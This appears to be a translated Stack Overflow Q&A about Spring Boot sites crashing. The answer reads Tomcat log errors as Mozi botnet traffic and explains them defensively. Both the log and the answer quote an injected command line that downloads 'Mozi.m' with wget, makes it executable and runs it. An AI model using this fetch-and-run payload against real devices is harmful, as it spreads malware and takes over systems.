【问题标题】:Unrecognized method names crashing springboot sites [closed]无法识别的方法名称使springboot站点崩溃[关闭]
【发布时间】:2022-01-18 06:04:28
【问题描述】:

我有几个使用 springs boot 构建的站点,并使用 Docker 部署在 EC2 实例上。一段时间后,所有这些站点都会关闭。当我检查 Docker 容器日志时,我看到像这样的 IllegalArgumentExceptions 具有长而神秘的方法名称。知道是什么原因造成的吗?部署是一个 EC2 实例,Docker-Compose 构建了一个 springboot 容器、一个 mysql 容器和一个 mysql-backup 容器。

java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:261) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_212]
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_212]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at java.lang.Thread.run(Thread.java:748) [na:1.8.0_212]

【问题讨论】:

    标签: java spring spring-boot docker web


    【解决方案1】:

    TL;DR

    您的系统/路由器受到攻击 - 看起来有人试图安装“Mozi 恶意软件” - 请参阅https://blog.lumen.com/new-mozi-malware-family-quietly-amasses-iot-bots/

    详情

    你的 tomcat 被调用的东西并不是真正的 HTML 方法。所以调用者——不管它是什么——做了非常奇怪的事情。看起来发送的是脚本而不是 HTTP 消息。

    ...经过一定时间后,所有这些网站都关闭了...

    看起来像拒绝服务,因为网络流量极差。

    分析

    让我们分析一下你的输出:

    java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
        at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
    

    阅读我们看到的实现

    // from Http11InputBuffer.java ... (tomcat-embed-core-9.0.48.jar)
    
        // Avoid unknown protocol triggering an additional error
        request.protocol().setString(Constants.HTTP_11);
        String invalidMethodValue = parseInvalid(parsingRequestLineStart, byteBuffer);
        throw new IllegalArgumentException(sm.getString("iib.invalidmethod", invalidMethodValue));
    
    //...
    

    拥有包含以下内容的消息属性文件:

    iib.invalidmethod=Invalid character found in method name [{0}]. HTTP method names must be tokens
    

    你给定的例外字符串 (0) 是:

    27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$

    未编码:

    
    'wget http://%s:%d/Mozi.m -O -> /tmp/Mozi.m;chmod 777  /tmp/Mozi.m;/tmp/Mozi.m dlink.mips $'
    
    

    看起来像发送了一个脚本,试图获取名为“Mozi.m”的东西,使其可执行并调用它... ups...

    所以....做一个关于“Mozi.m”的简单互联网研究... 我发现:

    所以 IMO 看起来有人正在用大量 HTTP 请求攻击路由器,试图闯入。路由器转发恶意请求,tomcat 确实处理并拒绝它们(正确)但是有太多请求系统崩溃...

    进一步的步骤

    咨询您的网络安全部门或咨询安全专家,并尽快调查发生了什么以及您的系统是否被篡改/劫持。

    IMO 应该在 tomcat 之前过滤这些请求。

    【讨论】:

      猜你喜欢
      • 2015-04-23
      • 2013-08-01
      • 2019-05-24
      • 1970-01-01
      • 2014-01-17
      • 1970-01-01
      • 1970-01-01
      • 2016-07-05
      • 1970-01-01
      相关资源
      最近更新 更多